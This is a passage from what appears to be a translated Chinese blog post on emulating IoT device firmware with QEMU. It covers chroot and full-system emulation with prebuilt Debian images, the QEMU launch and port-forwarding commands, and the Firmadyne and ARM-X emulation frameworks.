此方法是我首选的模拟设备的首选方法。它设置迅速,可以让我在固件root文件系统中尝试不同的二进制文件,而不必过多担心依赖项。请注意,在这种仿真模式下,chroot shell中没有初始化任何userland服务,因此没有系统或网络服务可用。但是,这仅足以运行一个二进制文件或测试一个小组件就足够了。

0x04  完整的系统仿真

有时,我们需要更全面地分析固件,并且将从完整的系统仿真中受益,有很多方法可以完全模拟设备。以下是一些最常见的仿真技术,研究人员已使用这些技术来查找实际的漏洞,然后将其提交给ZDI。

在仿真过程的第一部分,我们将使用QEMU创建在目标体系结构上运行的完整Linux虚拟机。然后,我们将固件root文件系统传输到VM中,并将chroot传输到固件的root文件系统中。要创建在QEMU中运行的完整VM,我们通常需要满足以下条件:

-QEMU磁盘映像文件(qcow2) -为目标体系结构编译的Linux内核映像 -初始RAM磁盘映像(initrd)

要获得以上各项,你可以设置交叉编译器,编译内核并下载安装程序以获取初始RAM磁盘。然后,你可以将Linux安装到QEMU磁盘映像文件上。但是,交叉编译内核是Linux初学者的一项任务,如果你有兴趣自己准备这些文件,请查看进一步阅读部分中的链接。在此博客中,我们将采用一种更简单的方法,我们将下载和使用由Debian开发人员Aurelien Jarn准备的预编译Debian映像。另外,你可以使用“ gef”插件的作者Chris(@hugsy)提供的镜像

 https://blahcat.github.io/2017/06/25/qemu-images-to-play-with/
 https://people.debian.org/~aurel32/qemu/

在所有文件都放置到位后,我们可以使用以下命令之一启动CPU架构的QEMU VM:

 sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"
 sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"
 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"
 sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append "root=/dev/mmcblk0p2"

-M或-machine选项指定QEMU支持,该选项允许用户选择目标硬件平台。-append选项使你可以调整传递给Linux内核的内核选项。我喜欢将QEMU命令放入bash脚本中,以加快进行调整和启动VM的过程。此外,我们应该在QEMU调用中附加以下选项以连接网络接口并添加端口转发设置:

 -net user,hostfwd=tcp::80-:80,hostfwd=tcp::443-:443,hostfwd=tcp::2222-:22 \`
 `-net nic

添加这些选项将使我们能够通过主机计算机的端口2222和仿真固件的HTTP和HTTPS页面通过SSH与VM通信。

image.png

图4-启动预编译的Debian映像

启动了VM并为我们提供了可用的Debian VM 后,仿真的第二部分便开始了。使用SCP或HTTP将固件的root文件系统传输到虚拟机,我发现将整个root文件系统打包在TAR中是处理传输的最有效方法。然后,我们需要安装/proc,/dev以及/sys虚拟机的目录中的固件文件系统中的相应文件。最后,我们chroot使用以下命令进入固件文件系统:

 chroot ~/firmware_rootfs /bin/sh

执行第二个选项chroot后,/bin/sh在更改root目录后运行,你可能需要将此命令更改为/bin/bash或/bin/busybox获取有效的shell。

image.png

图5-Busybox

使用shell程序,我们可以导航到/etc/rc.d或/etc/init.d运行适当的RC脚本以启动用户态服务。仔细分析rc.d文件夹并检查脚本,你需要调整启动脚本,以解决缺少网络接口,NVRAM库调用失败以及各种有趣的问题。仿真过程的这一部分非常类似于处理加密的固件。通常,你只需要对rcS脚本进行适当的调整即可使目标服务正常运行,该过程的这一部分可能需要花费数周的分析和其他工作。

0x05 Firmadyne和ARM-X

固件仿真需要做很多工作,有时候,站在巨人的肩膀上是更好的选择,有两个主要项目可帮助加快固件仿真过程,分别是Firmadyne和ARM-X。

Firmadyne

Firmadyne在工作时非常棒。它是一个固件仿真平台,自动仿真基于Linux的设备固件。Firmadyne支持MIPS和ARM处理器。它将提取root文件系统,推断网络接口,并创建QEMU磁盘映像以进行仿真,它还尝试模拟NVRAM。如果你需要针对新目标的完整系统仿真,建议你先尝试Firmadyne。然后,你可以尝试修复它遇到的一些漏洞,然后再尝试其他仿真技术。我在使用较新的QEMU版本运行Firmadyne时遇到了麻烦。但是,使用Docker安装它通常可以避免此问题。

ARM-X

ARM-X固件仿真框架目标的基于ARM的固件。它是内核,脚本和文件系统的集合,以使用QEMU模拟固件。它带有一些仿真配置示例,可帮助你进行搭建。我建议在试用ARM-X VM之前,在YouTube观看 Saumil Shah(@therealsaumil)进行的长达一小时的Hack In The Box 2019演示。如果你是IoT固件研究的新手,那么此ppt也是一个很好的学习资料。

 https://www.youtube.com/watch?v=NVl6uJiEaoI
 https://armx.exploitlab.net/
 https://github.com/firmadyne/firmadyne

希望在此博客的帮助下,你可以使用QEMU进行固件模拟仿真。上面演示的所有技术(包括ARM-X和Firmadyne)已用于我们程序的各种提交中。探索不同的技术,看看哪种对你有用。

0x06 参考信息

MIPSEL QEMU Image Preparation https://blahcat.github.io/2017/07/14/building-a-debian-stretch-qemu-image-for-mipsel/

Debian on an emulated ARM machine https://www.aurel32.net/info/debian_arm_qemu.php

Debian on an emulated MIPS(EL) machine https://www.aurel32.net/info/debian_mips_qemu.php

Arm1176 (ARMv6) QEMU Emulation https://azeria-labs.com/emulate-raspberry-pi-with-qemu/

AArch64 (ARMv8) QEMU Image Preparation https://blahcat.github.io/2018/01/07/building-a-debian-stretch-qemu-image-for-aarch64/

ARM emulation https://balau82.wordpress.com/arm-emulation/